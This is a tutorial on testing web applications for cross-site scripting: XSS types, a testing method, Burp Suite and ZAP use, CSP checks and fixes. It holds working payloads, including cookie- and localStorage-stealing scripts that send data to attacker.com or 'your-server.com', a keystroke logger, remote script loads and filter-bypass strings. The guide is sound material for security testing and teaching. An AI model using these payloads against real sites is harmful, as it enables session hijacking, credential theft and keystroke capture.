XSS Testing: Tools and Techniques for Finding Cross-Site Scripting

XSS Testing: Tools and Techniques for Finding Cross-Site Scripting

Cross-site scripting (XSS) is one of the most common vulnerabilities found in web applications. Despite being well understood and easy to prevent, XSS consistently appears in bug bounty reports, security assessments, and breach postmortems. An XSS vulnerability lets an attacker execute arbitrary JavaScript in a victim's browser — stealing session cookies, redirecting users, logging keystrokes, or using the victim's browser as a proxy for further attacks.

This guide covers all three types of XSS with specific testing techniques, payload examples, and automated scanning approaches you can use in your own security testing workflow.

Understanding the Three Types of XSS

Reflected XSS

Reflected XSS occurs when user input is immediately returned in the HTTP response without proper encoding. The payload is "reflected" from the server. The attack requires tricking a victim into clicking a crafted link.

https://app.example.com/search?q=<script>alert(1)</script>

If the application responds with:

<h1>Search results for: <script>alert(1)</script></h1>

The script executes in the victim's browser.

Stored (Persistent) XSS

Stored XSS is more dangerous because the payload is saved in the application's database and delivered to every user who views the affected content — comment sections, user profiles, product reviews, chat messages.

An attacker submits a comment:

Great product! <script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Every visitor who views that comment page has their session cookie stolen.

DOM-Based XSS

DOM-based XSS never reaches the server. The vulnerability exists entirely in client-side JavaScript. The script reads from a DOM source (like location.hash or document.URL) and writes to a DOM sink (like innerHTML or eval) without sanitization.

Example vulnerable code:

// Reads from URL hash, writes to innerHTML — DOM XSS
const username = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello, ' + username;

Attack URL:

https://app.example.com/dashboard#<img src=x onerror=alert(1)>

Manual XSS Testing Methodology

Step 1: Map All Input Points

Before testing, enumerate every location where user input appears in the application's output:

  • Search boxes, form fields
  • URL parameters that appear in the page
  • HTTP headers reflected in responses (User-Agent, Referer, X-Forwarded-For)
  • Cookie values reflected in HTML
  • File upload filenames displayed in the UI
  • Error messages that include user input
  • JSON responses that feed into client-side rendering

Step 2: Test for Reflection

Submit a unique string that you can search for in the response:

xsstest12345

Use browser DevTools (F12 → Network → Response body) or Burp Suite to check where this string appears in the HTML response. Context determines which payload type you need.

Step 3: Determine the Injection Context

The payload you use depends on where your input is injected:

HTML context — Input appears between HTML tags:

<p>Hello, xsstest12345</p>

Use: <script>alert(1)</script> or <img src=x onerror=alert(1)>

HTML attribute context — Input appears inside an attribute value:

<input value="xsstest12345" type="text">

Use: " onmouseover="alert(1) or "><script>alert(1)</script>

JavaScript context — Input appears inside a <script> block:

var username = "xsstest12345";

Use: "; alert(1); //

URL context — Input appears in an href or src:

<a href="xsstest12345">click</a>

Use: javascript:alert(1)

Step 4: Build Context-Appropriate Payloads

Once you know the context, test with progressively more complex payloads to find what the application blocks:

// Start simple
<script>alert(1)</script>

// If script is filtered, try events
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

// If parentheses are filtered
<img src=x onerror=alert`1`>

// If alert is filtered, use alternatives
<img src=x onerror=prompt(1)>
<img src=x onerror=confirm(1)>

// If quotes are filtered
<img src=x onerror=alert(String.fromCharCode(88,83,83))>

// Encoded payloads to bypass WAF
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<script>\u0061lert(1)</script>

Common XSS Payloads for Different Scenarios

Basic Confirmation Payloads

<!-- Standard alert -->
<script>alert(1)</script>

<!-- Without script tags -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<iframe onload=alert(1)>

Stealing Cookies (Proof of Impact)

In a real penetration test, use this payload to demonstrate actual impact:

<script>
new Image().src = 'https://your-server.com/collect?c=' + encodeURIComponent(document.cookie);
</script>

Or a more sophisticated version:

<script>
fetch('https://your-server.com/collect', {
  method: 'POST',
  body: JSON.stringify({
    cookies: document.cookie,
    localStorage: JSON.stringify(localStorage),
    url: location.href,
    userAgent: navigator.userAgent
  })
});
</script>

Keylogger Payload

<script>
document.addEventListener('keypress', function(e) {
  new Image().src = 'https://your-server.com/keys?k=' + e.key;
});
</script>

DOM-Based XSS Payloads

// For hash-based injection
https://app.example.com/page#<img src=x onerror=alert(1)>

// For search parameter reflected via JS
https://app.example.com/search?q=</script><script>alert(1)</script>

// For postMessage-based DOM XSS
// Send to the page via iframe:
iframe.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*');

Bypass Techniques for Common Filters

<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>

<!-- Non-standard tag endings -->
<script/src=//attacker.com/xss.js>

<!-- HTML entity encoding -->
&lt;script&gt;alert(1)&lt;/script&gt;  <!-- Won't work, just for context -->

<!-- URL encoding in attributes -->
<a href="&#106;avascript:alert(1)">click</a>

<!-- Double URL encoding -->
%253Cscript%253Ealert(1)%253C/script%253E

<!-- Null bytes (to break filters in some frameworks) -->
<scri\x00pt>alert(1)</scri\x00pt>

<!-- Polyglot payloads that work in multiple contexts -->
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;*/alert()//

Testing with Burp Suite

Burp Suite is the most effective tool for manual XSS testing.

Setting Up Burp for XSS Testing

  1. Configure your browser to proxy through Burp (127.0.0.1:8080)
  2. Browse the application normally — Burp captures all requests in the Proxy > HTTP history
  3. Right-click any request → "Send to Intruder" to fuzz parameters

Using Burp Intruder for XSS Fuzzing

1. In Intruder, select the parameter value as the payload position
2. Load a XSS payload list (SecLists: /Fuzzing/XSS/XSS-Jhaddix.txt)
3. Set attack type to "Sniper"
4. Start attack
5. Sort results by response length or status code
6. Look for responses where your payload appears unencoded

Using Burp Scanner

Burp Pro's scanner has extensive XSS detection:

1. Right-click a request in HTTP history → "Scan"
2. Or: Dashboard → New Scan → Crawl and Audit
3. Under "Audit checks", ensure "XSS" is enabled
4. Review findings in Dashboard → Issue activity

Burp will automatically distinguish reflected from stored XSS and provide a reliable PoC for each finding.

Burp Collaborator for Blind XSS

Blind XSS occurs in admin panels, support ticket systems, or log viewers where you cannot see the output directly. Use Burp Collaborator:

// Burp Collaborator payload
"><script src="//burp-collaborator-url.burpcollaborator.net/xss.js"></script>

When an admin views your input, the script loads from Collaborator and Burp records the interaction — confirming XSS in an interface you cannot access.


Testing with OWASP ZAP

ZAP is a free, open-source alternative with strong XSS scanning capabilities.

Running ZAP Against a Target

# Docker-based ZAP scan
docker run -t ghcr.io/zaproxy/zaproxy:stable \
  zap-full-scan.py \
  -t https://app.example.com \
  -r xss-report.html \
  -a  <span class="hljs-comment"># Include active scan (tests for XSS)

ZAP Active Scan API

import time
from zapv2 import ZAPv2

zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://127.0.0.1:8080'})

# Start spider to discover URLs
scan_id = zap.spider.scan('https://app.example.com')
while int(zap.spider.status(scan_id)) < 100:
    time.sleep(2)

# Run active scan
ascan_id = zap.ascan.scan('https://app.example.com')
while int(zap.ascan.status(ascan_id)) < 100:
    time.sleep(5)
    print(f"Active scan progress: {zap.ascan.status(ascan_id)}%")

# Get alerts
alerts = zap.core.alerts(baseurl='https://app.example.com')
xss_alerts = [a for a in alerts if 'Cross Site Scripting' in a['alert']]

for alert in xss_alerts:
    print(f"XSS found at: {alert['url']}")
    print(f"Parameter: {alert['param']}")
    print(f"Evidence: {alert['evidence']}")

Browser DevTools Techniques for DOM XSS

DOM-based XSS requires manual inspection because automated scanners often miss it.

Finding DOM Sources

In Chrome DevTools console:

// Check what data sources the page uses
console.log(location.hash);
console.log(location.search);
console.log(document.referrer);

// Monitor DOM changes to find where input ends up
const observer = new MutationObserver(mutations => {
  mutations.forEach(m => console.log('DOM changed:', m));
});
observer.observe(document.body, { childList: true, subtree: true, attributes: true });

Searching for Dangerous Sinks

Use the Sources panel to search for dangerous JavaScript patterns:

Ctrl+Shift+F (Search all files) → search for:
- innerHTML
- outerHTML
- document.write
- eval(
- setTimeout(
- setInterval(
- location.href =
- location.replace(
- location.assign(

When you find a dangerous sink, trace back where its input comes from. If it reads from user-controlled data (URL parameters, hash, cookies, postMessage), it is a DOM XSS candidate.

The DOM Invader (Burp Suite)

Burp Suite's browser has DOM Invader built in — a specialized tool for finding DOM XSS:

  1. Enable DOM Invader in the Burp browser settings
  2. Browse the application
  3. DOM Invader automatically canaries all DOM sources and reports when they reach sinks

Testing Content Security Policy (CSP)

CSP is the primary defense against XSS. Testing whether a CSP is actually effective is a critical part of XSS assessment.

Checking the CSP Header

curl -I https://app.example.com | grep -i content-security-policy

A strong CSP:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';

A weak CSP (effectively useless):

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' *;

CSP Bypass Techniques

If unsafe-inline is present, CSP does not prevent XSS at all:

<script>alert(1)</script>  // Works despite CSP

JSONP endpoints as CSP bypasses — If a trusted domain hosts JSONP:

<script src="https://trusted-cdn.com/jsonp?callback=alert(1)"></script>

Angular CSP bypass (if the app uses AngularJS and CDN is trusted):

{{constructor.constructor('alert(1)')()}}

Testing with Google's CSP Evaluator:

curl -s "https://csp-evaluator.withgoogle.com/getCSP?url=https://app.example.com" <span class="hljs-pipe">| jq <span class="hljs-string">'.findings'

Fixing XSS Vulnerabilities

Output Encoding (Primary Defense)

All untrusted data must be encoded before insertion into HTML:

// JavaScript — encode for HTML context
function encodeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// Node.js — use a library
const he = require('he');
const safe = he.encode(userInput);

// React — automatic (JSX encodes by default)
const Component = () => <div>{userInput}</div>; // Safe
const Dangerous = () => <div dangerouslySetInnerHTML={{__html: userInput}} />; // Unsafe
# Python — use markupsafe
from markupsafe import escape
safe_output = escape(user_input)

# Django templates encode by default
{{ user_input }}  # Safe — auto-encoded
{{ user_input|safe }}  # UNSAFE — disables encoding
// Java — OWASP Java Encoder
import org.owasp.encoder.Encode;

String safe = Encode.forHtml(userInput);          // HTML context
String safeAttr = Encode.forHtmlAttribute(userInput); // Attribute context
String safeJs = Encode.forJavaScript(userInput);  // JavaScript context

For DOM-Based XSS

// UNSAFE — never do this
element.innerHTML = userInput;
document.write(userInput);

// SAFE — use textContent for text
element.textContent = userInput;

// SAFE — use setAttribute for attributes
element.setAttribute('data-value', userInput);

// SAFE — create DOM nodes
const textNode = document.createTextNode(userInput);
element.appendChild(textNode);

Implementing a Strong CSP

// Express.js with Helmet
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    styleSrc: ["'self'", "'unsafe-inline'"],  // Ideally remove unsafe-inline
    imgSrc: ["'self'", 'data:', 'https:'],
    objectSrc: ["'none'"],
    baseUri: ["'self'"],
    frameAncestors: ["'none'"],
  },
}));

Summary

XSS testing requires a systematic approach: map all input points, test each context with appropriate payloads, use automated tools to scale the coverage, and manually verify DOM-based XSS with browser DevTools. Burp Suite and OWASP ZAP handle the automated heavy lifting, but DOM XSS and complex filter bypass scenarios require manual expertise.

The fix is encoding — encode all output, use framework-provided templating engines that encode by default, avoid dangerous DOM APIs like innerHTML, and deploy a strict Content Security Policy as defense in depth. A CSP will not stop XSS where unsafe-inline is present or where the application's own trusted origins host JSONP, so test your CSP after deploying it. Assume it is broken until proven otherwise.

Read more